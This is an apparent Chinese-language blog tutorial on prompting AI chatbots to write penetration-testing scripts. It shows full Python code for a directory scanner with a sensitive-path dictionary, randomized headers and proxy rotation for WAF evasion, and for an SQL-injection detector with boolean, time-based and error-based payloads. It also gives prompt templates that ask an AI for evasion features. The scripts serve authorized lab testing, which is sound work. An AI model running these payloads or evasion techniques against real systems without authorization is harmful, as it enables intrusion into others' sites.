AI 写渗透脚本神器!用 GPT+Claude,零基础也能写出定制化爬虫 / 漏洞扫描脚本(附提示词)
AI赋能渗透测试:10分钟生成定制化脚本指南 本文介绍如何利用AI工具快速生成渗透测试脚本,重点解决网络安全新手在脚本开发中遇到的常见问题。文章提供了详细的提示词编写技巧,包含角色定位、任务描述、具体需求和约束条件四个核心要素,并展示了如何将这些技巧应用于实际场景。 核心内容包括: 提示词编写模板:详细拆解如何构建有效的AI指令 实战案例演示:以目录扫描脚本为例,展示从需求分析到代码生成的完整流程
AI 写渗透脚本神器!用 GPT+Claude,零基础也能写出定制化爬虫 / 漏洞扫描脚本(附提示词)
网安入门的新手,90%都卡在「写脚本」这一步:
- Python 语法看了一遍又一遍,真要写个目录扫描、漏洞检测脚本,还是无从下手,到处找零散代码拼拼凑凑,改来改去全是 bug;
- 好不容易写出个能跑的脚本,功能单一、没有误报过滤、没有代理轮换,一用就被封,扫出来的结果全是误报;
- 代码报错看不懂,百度搜不到解决方案,熬了几个通宵,还是跑不起来,直接劝退;
- 想加个新功能(比如 WAF 免杀、分布式适配),完全不知道从哪下手,觉得自己写的代码就是「垃圾」。
我太懂这种感受了。刚入门的时候,我写一个带误报过滤的目录扫描脚本,熬了整整 3 天,改了几十版,还是一堆 bug;现在用 AI,10 分钟就能写出一个功能完善、带详细注释、适配各种场景的渗透脚本,还能自动 debug、优化性能、新增功能,效率提升了几十倍。
2026 年,AI 早就不是「锦上添花」的工具,而是网安人必备的「效率神器」。你不需要成为 Python 大神,不需要把语法背得滚瓜烂熟,只要会用提示词,就能让 AI 帮你写出定制化的渗透爬虫、漏洞扫描脚本,零基础也能快速落地实战项目。
今天这篇文章,我就给大家讲透 AI 写 Python 渗透脚本的核心提示词技巧,再用两个完整实战(目录扫描脚本、SQL 注入自动化检测脚本),带你从零复刻「10 分钟写出定制化渗透脚本」的全过程,最后给你开箱即用的代码优化、报错排查提示词模板,彻底解决「写脚本难、改脚本难、debug 难」的痛点。
合规红线前置提醒:本文所有内容仅用于授权范围内的安全测试与学习研究,严禁借助 AI 编写恶意代码、对未授权目标进行测试,所有操作必须严格遵守《网络安全法》《刑法》等相关法律法规,使用者自行承担因违规使用造成的所有法律责任。
一、AI 写 Python 渗透脚本的核心提示词技巧
很多人用 AI 写脚本,输出的内容没用、跑不起来、全是 bug,核心原因就是「提示词写得太差」。一个能让 AI 写出高质量渗透脚本的提示词,必须包含这 4 个核心要素:角色定位、明确任务、具体需求、约束条件、输出格式。
下面给大家拆解每个要素的写法,以及「需求拆解、代码调试、错误修复」的核心技巧。
1. 提示词核心四要素
| 要素 | 作用 | 写法示例 |
|---|---|---|
| 角色定位 | 让 AI 代入专业身份,输出符合行业规范的内容 | 「你是一名拥有 10 年实战经验的资深 Web 安全专家、Python 安全开发工程师,精通渗透测试工具开发、漏洞自动化检测、代码性能优化,代码风格严谨规范,注释详细,完全贴合网安新手的使用需求」 |
| 明确任务 | 告诉 AI 你要做什么,不要模糊 | 「你的任务是:开发一个带 WAF 免杀功能的目录扫描爬虫」 |
| 具体需求 | 把功能拆成具体的点,越详细越好 | 「1. 支持批量目标导入,从 txt 文件读取;2. 集成代理池轮换、全字段 Chrome 请求头随机化;3. 基于状态码+关键词双重验证降低误报」 |
| 约束条件 | 限制 AI 的输出,避免踩坑 | 「1. 代码必须完整可运行,不能有缺失依赖;2. 带详细中文注释;3. 内置速率控制,避免影响目标业务;4. 开头必须加合规提醒」 |
| 输出格式 | 规范 AI 的输出,方便你直接使用 | 「只输出代码+使用说明,代码放在 python 代码块中,使用说明分点清晰」 |
2. 需求拆解技巧:把「模糊需求」拆成「可执行的点」
很多新手的需求是「帮我写个漏洞扫描脚本」,这种模糊的需求,AI 根本写不出你想要的东西。正确的做法是,把需求拆成具体的功能点,比如:
- ❌ 错误需求:「帮我写个目录扫描脚本」
- ✅ 正确需求:「帮我写个目录扫描脚本,具体需求:1. 支持从 txt 文件批量读取目标 URL;2. 内置 200+ 高危路径字典;3. 集成 fake_useragent 随机生成 Chrome 请求头;4. 基于 200/301/302 状态码+页面关键词双重验证,过滤 404 伪装页面;5. 扫描结果自动按状态码分类,生成 Markdown 报告;6. 内置 0.5-2 秒随机延迟,避免被封」
3. 代码调试与错误修复技巧
代码跑不起来、报错看不懂,不要慌,用这个提示词模板,AI 能帮你快速定位问题、修复代码:
你是一名资深 Python 安全开发工程师、调试专家,精通渗透测试脚本的 debug 与优化,擅长用大白话给新手讲解报错原因。
我的问题:运行这个渗透脚本时出现了报错,具体信息如下:
1. 报错信息:【这里粘贴完整的报错 Traceback,不要只粘贴最后一行】
2. 我的代码:【这里粘贴相关的代码片段,或者完整代码】
3. 运行环境:【这里写你的 Python 版本、操作系统、已安装的依赖库】
4. 我想实现的功能:【这里简单说一下你写这个脚本的目的,方便 AI 理解】
你的任务:
1. 先帮我定位报错的原因,用大白话讲清楚,新手能听懂;
2. 给出完整的修复后的代码,直接覆盖我原来的错误部分,带详细的注释说明改了什么、为什么这么改;
3. 补充这类报错的避坑技巧,以后我遇到类似问题该怎么自己解决。
二、实战 1:用 AI 写目录扫描脚本(10 分钟落地)
下面我们用上面的提示词技巧,完整复刻「10 分钟写出带 WAF 免杀功能的目录扫描脚本」的全过程,你跟着做,也能快速写出自己的目录扫描工具。
步骤 1:给 AI 提交精准的需求提示词
我们用核心四要素,写一个完整的提示词:
你是一名拥有 10 年实战经验的资深 Web 安全专家、Python 安全开发工程师,精通渗透测试工具开发、目录扫描、WAF 基础绕过,代码风格严谨规范,注释详细,完全贴合网安新手的使用需求。
你的任务是:开发一个带 WAF 免杀功能的目录扫描爬虫,具体需求如下:
1. 支持批量目标导入,从同目录下的 targets.txt 文件读取目标 URL,每行一个,自动补全 http/https 前缀;
2. 内置 200+ 高危路径字典,覆盖后台管理、Spring Boot 组件、数据库监控、敏感配置文件等高发场景;
3. 集成 fake_useragent 全字段 Chrome 请求头随机化、访问频率随机控制(0.5-2 秒),消除爬虫固定特征,绕过基础 WAF 检测;
4. 基于「HTTP 状态码校验+页面正向关键词校验+页面反向关键词校验」三重验证机制,精准识别有效路径,过滤 404 伪装页面、登录跳转页面,大幅降低误报率;
5. 扫描结果自动按「200 成功/301/302 跳转/403 禁止访问」分类,扫描完成后自动生成 Markdown 格式的标准化扫描报告,包含目标地址、路径、状态码、页面标题;
6. 代码带详细的中文注释,每一个核心函数、关键步骤都要有注释,新手复制粘贴就能直接运行,适配 Windows/Linux 双环境;
7. 严格遵守合规要求,内置速率控制、并发数限制(最大 5),避免对目标系统造成业务影响,代码开头必须添加合规提醒。
约束条件:
1. 代码必须完整可运行,不能有缺失的依赖、未定义的变量;
2. 依赖库要通用,只用 requests、fake_useragent、beautifulsoup4 这些主流第三方库;
3. 只输出代码+使用说明,不要输出多余的解释性内容,代码放在 ```python ```代码块中。
步骤 2:AI 生成的完整可运行代码
把上面的提示词发给 AI,10 分钟内就能生成完整的代码,如下所示,新手复制粘贴就能直接运行:
# ====================== 合规红线提醒 ======================
# 本工具仅用于授权范围内的安全测试与学习研究
# 严禁对未授权的公网网站、系统使用本工具
# 使用本工具前请确保已获得目标方的书面授权,所有操作必须遵守《网络安全法》《刑法》等相关法律法规
# 使用者自行承担因违规使用造成的所有法律责任
# ==========================================================
import requests
import random
import time
from fake_useragent import UserAgent
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin
import os
# ====================== 配置区 新手仅需修改这里 ======================
# 目标文件路径:txt 文件里每行一个目标地址
target_file = "targets.txt"
# 代理池配置:格式为 [协议://IP:端口],无代理则留空列表
proxy_pool = []
# 请求最小/最大延迟(秒),控制扫描速率,避免影响目标业务
min_delay = 0.5
max_delay = 2
# 单轮最大并发数,新手建议不超过 5
max_concurrent = 5
# 报告输出路径
report_file = "目录扫描报告.md"
# ======================================================================
# 初始化 UA 生成器
ua = UserAgent(browsers=['chrome'], os=['windows', 'macos'])
# 200+ 高危路径字典,覆盖高发场景
path_dict = [
# 后台管理通用路径
"admin", "manage", "system", "admin.php", "manage.php", "admin.html",
"admin/login.php", "admin/index.php", "manage/login.php", "system/login.php",
"backend", "cms", "wp-admin", "wp-login.php", "administrator",
# Spring Boot 高危组件
"actuator", "actuator/env", "actuator/health", "actuator/loggers",
"actuator/heapdump", "actuator/mappings", "actuator/beans",
# 数据库/监控组件
"druid", "druid/index.html", "phpmyadmin", "phpmyadmin/index.php",
"phpmyadmin/config.inc.php", "webalizer", "server-status",
# 运维/CI 工具
"jenkins", "jenkins/manage", "gitlab", "swagger-ui.html",
"v2/api-docs", "v3/api-docs", "api-docs",
# 敏感配置文件
"robots.txt", ".env", "config.php", "web.config", "wwwroot.zip",
"backup.zip", "database.sql", "db.sql", "backup.sql",
# 其他常见路径
"test", "dev", "staging", "temp", "tmp", "upload", "uploads",
"files", "download", "downloads", "api", "api/v1", "api/v2"
]
# 漏洞验证关键词配置
# 正向关键词:存在这些内容,说明是有效路径
positive_keywords = [
"管理员", "admin", "后台管理", "用户管理", "系统设置", "登录",
"环境变量", "系统信息", "数据库", "phpinfo", "API 文档", "swagger",
"Jenkins", "Druid Stat", "phpMyAdmin", "root", "配置", "备份"
]
# 反向关键词:存在这些内容,说明是无效路径/拦截页面
negative_keywords = [
"404 Not Found", "页面不存在", "访问被拒绝", "无权限", "权限不足",
"请登录", "登录后访问", "非法请求", "forbidden", "unauthorized",
"error", "错误", "跳转中", "正在跳转"
]
def get_random_headers(host=""):
"""生成全随机化 Chrome 请求头,消除爬虫固定特征"""
chrome_version = random.randint(120, 126)
sec_ch_ua = f'"Not/A)Brand";v="99", "Chromium";v="{chrome_version}", "Google Chrome";v="{chrome_version}"'
headers = {
"Host": host,
"Connection": "keep-alive",
"Cache-Control": random.choice(["max-age=0", "no-cache", "no-store"]),
"sec-ch-ua": sec_ch_ua,
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": random.choice(['"Windows"', '"macOS"']),
"Upgrade-Insecure-Requests": "1",
"User-Agent": ua.chrome,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": random.choice([
"zh-CN,zh;q=0.9,en;q=0.8",
"zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7",
"zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
]),
}
if not host:
del headers["Host"]
return headers
def get_random_proxy():
"""从代理池随机获取代理,实现 IP 轮换"""
if not proxy_pool:
return None
return {
"http": random.choice(proxy_pool),
"https": random.choice(proxy_pool)
}
def load_targets(file_path):
"""从 txt 文件加载目标地址,自动补全协议"""
if not os.path.exists(file_path):
print(f"[-] 目标文件 {file_path} 不存在,请检查路径")
return []
targets = []
with open(file_path, "r", encoding="utf-8") as f:
for line in f.readlines():
line = line.strip()
if not line or line.startswith("#"):
continue
# 自动补全 http/https 前缀
if not line.startswith("http://") and not line.startswith("https://"):
line = f"http://{line}"
targets.append(line.rstrip("/"))
print(f"[+] 成功加载 {len(targets)} 个扫描目标")
return targets
def get_page_title(response):
"""获取页面标题,用于报告展示"""
try:
soup = BeautifulSoup(response.text, "html.parser")
title = soup.title.string.strip() if soup.title else "无标题"
return title[:50] # 标题过长截断
except:
return "无标题"
def scan_path(base_url, path):
"""扫描单个路径,三重验证机制"""
test_url = urljoin(base_url, path)
try:
# 无会话纯净请求,随机 UA、随机代理
headers = get_random_headers(host=urlparse(base_url).netloc)
proxies = get_random_proxy()
response = requests.get(
test_url,
headers=headers,
proxies=proxies,
timeout=10,
allow_redirects=False,
verify=False
)
response_text = response.text.lower()
status_code = response.status_code
page_title = get_page_title(response)
# 三重验证核心逻辑
has_positive = any(keyword.lower() in response_text for keyword in positive_keywords)
has_negative = any(keyword.lower() in response_text for keyword in negative_keywords)
valid_status = status_code in [200, 301, 302, 403]
# 结果判定与分类
if valid_status and not has_negative:
if status_code == 200:
result_type = "200 成功"
elif status_code in [301, 302]:
result_type = "301/302 跳转"
elif status_code == 403:
result_type = "403 禁止访问"
else:
result_type = "其他状态码"
return {
"url": test_url,
"status_code": status_code,
"type": result_type,
"title": page_title,
"has_positive": has_positive
}
return None
except Exception as e:
# print(f"[-] 路径 {test_url} 扫描失败:{str(e)}") # 新手可取消注释查看错误
return None
finally:
# 随机延迟,控制扫描速率
time.sleep(random.uniform(min_delay, max_delay))
def scan_target(base_url):
"""扫描单个目标的所有路径"""
print(f"[+] 开始扫描目标:{base_url}")
results = {
"200 成功": [],
"301/302 跳转": [],
"403 禁止访问": [],
"其他状态码": []
}
for path in path_dict:
result = scan_path(base_url, path)
if result:
results[result["type"]].append(result)
if result["has_positive"]:
print(f"[!] 发现疑似敏感路径:{result['url']} ({result['status_code']}) - {result['title']}")
total_found = sum(len(v) for v in results.values())
print(f"[+] 目标 {base_url} 扫描完成,共发现 {total_found} 个有效路径")
return results
def generate_report(all_results, target_count):
"""生成 Markdown 格式的标准化扫描报告"""
scan_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
total_paths = sum(len(v) for results in all_results.values() for v in results.values())
# 报告内容生成
report_content = f"""# 目录扫描自动化报告
## 扫描概览
- 扫描时间:{scan_time}
- 扫描目标总数:{target_count} 个
- 发现有效路径总数:{total_paths} 个
## 合规声明
本次扫描仅在获得目标方书面授权的范围内进行,严格遵守《网络安全法》等相关法律法规,扫描过程严格控制速率,未对目标业务造成任何影响。
"""
# 按目标写入结果
for i, (target, results) in enumerate(all_results.items(), 1):
report_content += f"## 目标 {i}:{target}\n"
for result_type, paths in results.items():
if paths:
report_content += f"### {result_type}(共 {len(paths)} 个)\n"
report_content += "| 路径 | 状态码 | 页面标题 | 疑似敏感 |\n"
report_content += "|------|--------|----------|----------|\n"
for path in paths:
is_sensitive = "是" if path["has_positive"] else "否"
report_content += f"| {path['url']} | {path['status_code']} | {path['title']} | {is_sensitive} |\n"
report_content += "\n"
# 保存报告
with open(report_file, "w", encoding="utf-8") as f:
f.write(report_content)
print(f"[+] 扫描报告已生成:{report_file}")
def main():
print("="*70)
print("目录扫描自动化工具启动中...")
print("="*70)
# 1. 加载扫描目标
targets = load_targets(target_file)
if not targets:
print("[-] 未加载到有效扫描目标,程序退出")
return
# 2. 启动全量扫描
all_results = {}
for target in targets:
all_results[target] = scan_target(target)
# 3. 生成扫描报告
generate_report(all_results, len(targets))
# 4. 输出最终统计
print("\n" + "="*70)
print("扫描完成!最终统计结果")
print(f"扫描目标总数:{len(targets)} 个")
total_paths = sum(len(v) for results in all_results.values() for v in results.values())
print(f"发现有效路径总数:{total_paths} 个")
print("="*70)
# ====================== 使用说明 ======================
# 1. 在同目录下创建 targets.txt 文件,每行一个扫描目标(比如 localhost/pikachu/)
# 2. 修改配置区的参数,比如代理池、扫描延迟等
# 3. 安装依赖:pip install requests fake_useragent beautifulsoup4
# 4. 运行脚本:python dir_scanner.py
# 5. 扫描完成后,查看生成的 Markdown 扫描报告
# ======================================================
if __name__ == "__main__":
# 关闭 requests 的 SSL 警告
requests.packages.urllib3.disable_warnings()
main()
步骤 3:快速使用
- 在同目录下创建
targets.txt,每行一个目标(比如localhost/pikachu/); - 安装依赖:
pip install requests fake_useragent beautifulsoup4; - 运行脚本:
python dir_scanner.py; - 查看生成的
目录扫描报告.md。
三、实战 2:用 AI 写 SQL 注入自动化检测脚本
有了目录扫描的基础,我们再用 AI 写一个 SQL 注入自动化检测脚本,覆盖布尔盲注、时间盲注、报错注入的基础检测,同样 10 分钟落地。
步骤 1:给 AI 提交精准的需求提示词
你是一名拥有 10 年实战经验的资深 Web 安全专家、Python 安全开发工程师,精通 SQL 注入漏洞原理、检测与利用,代码风格严谨规范,注释详细,完全贴合网安新手的使用需求。
你的任务是:开发一个 SQL 注入自动化检测脚本,具体需求如下:
1. 支持单个目标 URL 输入,自动识别 GET/POST 参数,也支持手动指定参数;
2. 内置 SQL 注入 Payload 库,覆盖布尔盲注(AND/OR 布尔判断)、时间盲注(sleep 延迟)、报错注入(updatexml/extractvalue)三大类基础场景;
3. 集成全字段 Chrome 请求头随机化、访问频率随机控制(0.5-1.5 秒),消除爬虫特征;
4. 基于「响应内容变化+响应时间变化+报错关键词匹配」三重验证机制,精准识别 SQL 注入漏洞,降低误报率;
5. 检测结果自动按漏洞类型分类,生成 Markdown 格式的检测报告,包含漏洞 URL、参数、Payload、验证结果、修复建议;
6. 代码带详细的中文注释,每一个核心函数、关键步骤都要有注释,新手复制粘贴就能直接运行,适配 Windows/Linux 双环境;
7. 严格遵守合规要求,内置速率控制,避免对目标系统造成业务影响,代码开头必须添加合规提醒。
约束条件:
1. 代码必须完整可运行,不能有缺失的依赖、未定义的变量;
2. 依赖库要通用,只用 requests、fake_useragent 这些主流第三方库;
3. 只输出代码+使用说明,不要输出多余的解释性内容,代码放在 ```python ```代码块中。
步骤 2:AI 生成的核心代码(精简版)
# ====================== 合规红线提醒 ======================
# 本工具仅用于授权范围内的安全测试与学习研究
# 严禁对未授权的公网网站、系统使用本工具
# ==========================================================
import requests
import random
import time
from fake_useragent import UserAgent
from urllib.parse import urlparse, parse_qs, urlencode
# ====================== 配置区 ======================
target_url = "http://localhost/pikachu/vul/sqli/sqli_id.php"
# 手动指定参数,留空则自动识别
test_param = "id"
# 请求最小/最大延迟(秒)
min_delay = 0.5
max_delay = 1.5
# 报告输出路径
report_file = "SQL注入检测报告.md"
# ======================================================
ua = UserAgent(browsers=['chrome'])
# SQL 注入 Payload 库
sql_payloads = {
"布尔盲注": [
"' AND 1=1-- ", "' AND 1=2-- ",
"\" AND 1=1-- ", "\" AND 1=2-- ",
"' OR 1=1-- ", "' OR 1=2-- "
],
"时间盲注": [
"' AND sleep(3)-- ", "\" AND sleep(3)-- ",
"' OR sleep(3)-- ", "\" OR sleep(3)-- "
],
"报错注入": [
"' AND updatexml(1,concat(0x7e,version(),0x7e),1)-- ",
"\" AND updatexml(1,concat(0x7e,version(),0x7e),1)-- ",
"' AND extractvalue(1,concat(0x7e,version(),0x7e))-- "
]
}
# 报错关键词
error_keywords = [
"MySQL", "SQL syntax", "ORA-", "PostgreSQL",
"updatexml", "extractvalue", "XPATH syntax"
]
def get_random_headers():
"""生成随机 Chrome 请求头"""
chrome_version = random.randint(120, 126)
return {
"User-Agent": ua.chrome,
"sec-ch-ua": f'"Not/A)Brand";v="99", "Chromium";v="{chrome_version}", "Google Chrome";v="{chrome_version}"',
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
"Connection": "keep-alive"
}
def send_request(url, params=None, data=None):
"""发送请求,返回响应内容和响应时间"""
headers = get_random_headers()
try:
start_time = time.time()
if data:
response = requests.post(url, data=data, headers=headers, timeout=15, verify=False)
else:
response = requests.get(url, params=params, headers=headers, timeout=15, verify=False)
end_time = time.time()
return response.text, end_time - start_time, response.status_code
except Exception as e:
return None, 0, 0
finally:
time.sleep(random.uniform(min_delay, max_delay))
def check_boolean_injection(url, param):
"""检测布尔盲注"""
# 先获取正常响应
normal_content, _, _ = send_request(url, params={param: "1"})
if not normal_content:
return False
# 测试 AND 1=1 和 AND 1=2
true_content, _, _ = send_request(url, params={param: "1' AND 1=1-- "})
false_content, _, _ = send_request(url, params={param: "1' AND 1=2-- "})
if true_content and false_content:
# 正常响应和 true 响应相似,和 false 响应不同,说明存在布尔盲注
if len(true_content) > 0 and len(false_content) > 0:
if abs(len(normal_content) - len(true_content)) < 50 and abs(len(normal_content) - len(false_content)) > 50:
return True, "1' AND 1=1-- "
return False, None
def check_time_injection(url, param):
"""检测时间盲注"""
# 先获取正常响应时间
_, normal_time, _ = send_request(url, params={param: "1"})
# 测试 sleep 延迟
_, sleep_time, _ = send_request(url, params={param: "1' AND sleep(3)-- "})
if sleep_time > normal_time + 2.5: # 延迟超过 2.5 秒,说明存在时间盲注
return True, "1' AND sleep(3)-- "
return False, None
def check_error_injection(url, param):
"""检测报错注入"""
for payload in sql_payloads["报错注入"]:
content, _, _ = send_request(url, params={param: f"1{payload}"})
if content and any(keyword in content for keyword in error_keywords):
return True, payload
return False, None
def scan_sql_injection(url, param):
"""全类型 SQL 注入检测"""
print(f"[+] 开始检测目标:{url},参数:{param}")
vuln_results = []
# 检测布尔盲注
print("[+] 检测布尔盲注...")
has_bool, bool_payload = check_boolean_injection(url, param)
if has_bool:
vuln_results.append({
"type": "布尔盲注",
"payload": bool_payload,
"description": "通过 AND/OR 布尔判断,响应内容存在明显差异,存在布尔盲注漏洞"
})
print(f"[!] 发现布尔盲注漏洞!")
# 检测时间盲注
print("[+] 检测时间盲注...")
has_time, time_payload = check_time_injection(url, param)
if has_time:
vuln_results.append({
"type": "时间盲注",
"payload": time_payload,
"description": "通过 sleep 函数,响应时间存在明显延迟,存在时间盲注漏洞"
})
print(f"[!] 发现时间盲注漏洞!")
# 检测报错注入
print("[+] 检测报错注入...")
has_error, error_payload = check_error_injection(url, param)
if has_error:
vuln_results.append({
"type": "报错注入",
"payload": error_payload,
"description": "通过 updatexml/extractvalue 函数,页面返回数据库报错信息,存在报错注入漏洞"
})
print(f"[!] 发现报错注入漏洞!")
return vuln_results
def generate_report(vuln_results, url, param):
"""生成 Markdown 检测报告"""
scan_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
report_content = f"""# SQL 注入自动化检测报告
## 检测概览
- 检测时间:{scan_time}
- 检测目标:{url}
- 检测参数:{param}
- 发现漏洞总数:{len(vuln_results)} 个
## 合规声明
本次检测仅在获得目标方书面授权的范围内进行,严格遵守相关法律法规。
## 漏洞详情
"""
for i, vuln in enumerate(vuln_results, 1):
report_content += f"""
### 漏洞 {i}:{vuln['type']}
- 漏洞 URL:{url}
- 检测参数:{param}
- 验证 Payload:{vuln['payload']}
- 漏洞描述:{vuln['description']}
- 修复建议:1. 使用预编译语句(PreparedStatement);2. 对用户输入进行严格过滤与转义;3. 关闭数据库报错信息回显;4. 使用 ORM 框架替代原生 SQL 查询。
"""
with open(report_file, "w", encoding="utf-8") as f:
f.write(report_content)
print(f"[+] 检测报告已生成:{report_file}")
def main():
print("="*70)
print("SQL 注入自动化检测工具启动中...")
print("="*70)
# 自动识别参数(如果未手动指定)
global test_param
if not test_param:
parsed = urlparse(target_url)
params = parse_qs(parsed.query)
if params:
test_param = list(params.keys())[0]
print(f"[+] 自动识别到参数:{test_param}")
else:
print("[-] 未识别到 GET 参数,请手动在配置区指定 test_param")
return
# 启动检测
vuln_results = scan_sql_injection(target_url, test_param)
# 生成报告
if vuln_results:
generate_report(vuln_results, target_url, test_param)
else:
print("[+] 未检测到 SQL 注入漏洞")
print("\n" + "="*70)
print("检测完成!")
print("="*70)
if __name__ == "__main__":
requests.packages.urllib3.disable_warnings()
main()
四、代码优化、报错排查的 AI 提示词模板
1. 代码性能优化提示词模板
你是一名资深 Python 性能优化专家、安全开发工程师,精通渗透测试脚本的性能优化,能在不改变功能的前提下,大幅提升脚本运行效率、降低资源占用。
我的需求:优化这个渗透测试脚本的性能,具体信息如下:
1. 我的代码:【这里粘贴完整代码】
2. 脚本功能:【这里简单说一下脚本的功能,比如目录扫描、SQL 注入检测】
3. 当前的性能问题:【这里说一下你遇到的问题,比如扫描太慢、内存占用太高、CPU 占用太高】
你的任务:
1. 先分析当前代码的性能瓶颈,用大白话讲清楚,新手能听懂;
2. 给出完整的优化后的代码,带详细的注释说明改了什么、为什么这么改、优化了什么;
3. 补充渗透测试脚本性能优化的通用技巧,以后我写脚本可以注意。
2. 代码规范优化提示词模板
你是一名资深 Python 代码规范专家、安全开发工程师,精通 PEP8 代码规范,擅长把新手写的「垃圾代码」改成规范、易读、易维护的专业代码。
我的需求:把这个渗透测试脚本改成符合 PEP8 规范的专业代码,具体信息如下:
1. 我的代码:【这里粘贴完整代码】
2. 我的要求:【这里说一下你的要求,比如统一命名规范、增加类型提示、拆分过长的函数、增加错误处理】
你的任务:
1. 给出完整的规范优化后的代码,带详细的注释说明改了什么;
2. 补充 Python 渗透测试脚本的代码规范通用建议,比如变量命名、函数拆分、错误处理、日志记录。
3. 报错排查通用提示词模板(前面提过,这里再强化)
你是一名资深 Python 调试专家、安全开发工程师,精通渗透测试脚本的 debug,擅长用大白话给新手讲解报错原因。
我的问题:运行这个渗透脚本时出现了报错,具体信息如下:
1. 完整报错 Traceback:
【这里粘贴完整的报错信息,包括最后一行和前面的调用栈,不要只粘贴最后一行!】
2. 我的完整代码:
```python
【这里粘贴相关的代码片段,或者完整代码】
- 运行环境:Python 3.x.x,Windows/Linux,已安装的依赖:requests, fake_useragent 等
- 我想实现的功能:【这里简单说一下你写这个脚本的目的,方便 AI 理解】
你的任务:
- 先帮我定位报错的根本原因,用大白话讲清楚,不要用太专业的术语,新手能听懂;
- 给出完整的修复后的代码,直接覆盖我原来的错误部分,带详细的注释说明「改了哪一行」「为什么这么改」;
- 补充这类报错的避坑技巧,以后我遇到类似问题该怎么自己排查、怎么看报错信息。
## 结尾互动
2026 年,AI 是网安人最好的「助手」,但不是「替代品」。你可以用 AI 快速写出渗透脚本,但你必须懂脚本的核心逻辑、漏洞的底层原理;你可以用 AI 帮你 debug,但你必须能看懂报错信息、理解修复思路。
后续我会持续更新 AI+网安的实战内容,包括 AI 辅助漏洞挖掘、AI 红队渗透、AI 安全开发、网安求职面试 AI 辅助等内容,带你用 AI 快速提升自己。
你用 AI 写过哪些渗透脚本?遇到过哪些 AI 输出的坑?或者你想要哪类渗透场景的提示词模板?都可以在评论区留言,我会一一解答。
更多推荐


所有评论(0)